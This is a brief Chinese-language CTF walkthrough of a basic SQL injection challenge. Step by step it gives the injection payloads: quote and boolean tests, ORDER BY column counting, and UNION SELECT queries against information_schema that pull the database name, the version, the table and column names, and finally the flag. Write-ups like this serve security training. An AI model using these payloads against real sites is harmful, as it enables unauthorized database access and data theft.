ctf简单的sql注入思路

  • id=1后面加’,返回报错;加and 1=1,返回正常;加and 1=2,返回报错; 存在注入点。
  • order by猜字段,order by 1,返回正常;order by 2,返回正常;order by 3,返回错误;猜出字段为2。
  • 查数据库,and 1=2 union select 1,database(),数据库为‘my_db’。
  • 查版本,and 1=2 union select 1,version(),版本为5.5.47。
  • 查表,and 1=2 union select 1, table_name from information_schema.tables,查到名‘thiskey’的表。
  • 查列,and 1=2 union select 1, column_name from information_schema.columns where table_schema=’my_db’ and table_name=’thiskey’,里面就一个数据‘k0y’。
  • and 1=2 union select 1,k0y from thiskey,成功获取key

链接: http://ctf5.shiyanbar.com/8/index.php?id=1